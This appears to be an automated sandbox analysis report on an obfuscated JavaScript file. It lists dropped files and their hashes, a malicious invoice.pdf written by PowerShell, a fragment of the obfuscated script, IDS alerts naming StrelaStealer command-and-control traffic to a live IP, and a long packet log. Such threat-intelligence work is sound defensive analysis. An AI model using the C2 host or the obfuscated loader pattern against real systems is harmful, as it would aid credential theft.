Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a65ad48c-0e5e-4dc8-807b-5bc9f895d0a4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 468454
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1XX/FLYVbxrr/IxktOQZ1mau4yBwsOFjNOX1Lj3vfE4JvW+:sTJJJJv+9UZd1ybxrr/IxkB1mabFhOXf
MD5:	867BDB4816CA7DA521446D3E303B83EA
SHA1:	9DDE1D42F56FFFDD9C6EF758641A4321FF78DD95
SHA-256:	20121E1A1954EB63892ADAB2CD9A00439F6D9E54500813C9F6E84BBDB62D1C24
SHA-512:	FB5FEDEC4DE8566B1739F19CA336E4517792270F65F04AA05559A1074B09C0009E4AF0596B00D51DC815847D981CBD2A4755B242A284507E4E318070712E8AAA
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\cc00c312-88ec-476e-a1c2-fdf64c4eb001.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16999), with CRLF line terminators
Entropy (8bit):	4.919158795516437
TrID:
File name:	106161149748268293.js
File size:	20'500 bytes
MD5:	915c024390f59b88b1b44e8daf13d19e
SHA1:	b525956f82b5a259a8ea2bd8878bf3457d8a165a
SHA256:	a63a8883c826995903bfd1ad408402ccb9e310c4b1a8b407f4228dbd2bad6949
SHA512:	c82ef92e36bb7733907ad915a1793c71aaa05c738d87f7e5062f558d8c82c5865431ba7939f334d31653a2221a819e63012fd09784b1549399187816f861455d
SSDEEP:	384:yEbgr4gH/8ekwE5WIq5nmCDRQEqIFlZBdpF0oR4Bi:vgr4k/tE5WIq5mCdQEqMZ5F0Ct
TLSH:	119285859B118F2A4AF19AFA599300C3237DABDF8CEC0644F88565CA13D2558E9F1DB2
File Content Preview:	function eaffmd(){ezquxdset=[1031,3079,5127,4103,2055,3072];var ylwqqc=this[nrdeae+kpwtkwvr+rngceznv+fvyxqk+rvrue+dbkgwlw+unihpit+hwdztrv](this[vcxuez+uhfkjnsc+mpwfabvnt+rngceznv+dhkleumyt+nrdeae+hwdztrv][daohaprh+rngceznv+rvrue+kpwtkwvr+hwdztrv+rvrue+rsk

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T09:01:07.105419+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T09:01:07.105419+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T09:01:09.744596+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 09:01:06.273113012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:06.278002024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:06.278078079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:06.299164057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:06.304070950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.105293036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.105315924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.105330944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.105343103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.105364084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.105377913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.105418921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.105444908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.105446100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.105494022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.105508089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.105520964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.105547905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.105571032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.110337973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.110357046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.110551119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.159476042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.159497976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.159557104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.230194092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.230216980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.230237961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.230246067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.230252981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.230314016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.230477095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.230496883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.230506897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.230530024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.230547905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.230935097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.230945110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.230956078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.230978012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.230994940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.231050014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.231513977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.231551886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.231558084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.231606007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.231631994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.231642962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.231695890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.232371092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.232415915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.232425928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.232446909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.232486010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.232517958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.275857925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.293240070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.293256998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.293392897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.339261055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.339277983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.339289904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.339402914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.358901024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.358917952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.358930111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.358962059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.358971119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.358982086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.358984947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.358992100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.359004974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.359024048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.359220028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.359268904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.359278917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.359321117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.359400034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.359411001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.359421968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.359445095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.359458923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.359477997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.360120058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.360174894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.360187054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.360192060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.360229969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.360271931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.360281944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.360292912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.360313892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.360383987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.360460043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.361016035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.361071110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.361083031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.361118078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.361182928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.361193895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.361203909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.361213923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.361242056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.361262083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.361896038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.361947060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.361963034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.361968040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.362003088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.362018108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.362097979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.362108946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.362118959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.362147093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.362786055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.362829924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.362839937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.362874985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.362898111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.362960100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.383968115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.383982897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.383994102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.384005070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.384047031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.384071112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.429836035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.463931084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.463951111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.463963985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.464029074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.464035034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.464044094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.464104891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.479949951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.479965925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.479975939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.479986906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.480003119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.480012894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.480026007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.480055094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.480120897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.480168104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.480214119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.480218887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.480284929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.480295897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.480334997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.480398893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.480410099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.480420113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.480431080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.480458021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.480834007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.480846882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.480856895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.480869055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.480878115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.480935097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.480952978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.480963945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.480973959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.480997086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.481018066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.481331110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.481342077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.481359005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.481384993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.481441021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.481451988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.481466055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.481476068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.481493950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.481534004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.481595039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.481606960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.481642962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.481662989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.481704950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.482038975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.482119083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.482131958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.482167959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.482206106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.482217073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.482229948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.482240915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.482270002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.482291937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.482418060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.482429028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.482440948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.482450962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.482464075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.482465029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.482501030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.482516050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.483073950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.483097076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.483129025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.483139992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.483171940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.483258963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.483269930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.483279943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.483304024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.483325958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.483370066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.483381987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.483391047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.483401060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 09:01:07.483426094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.483457088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.496414900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.509013891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 09:01:07.520421982 CET	80	49704	193.143.1.205	192.168.2.5
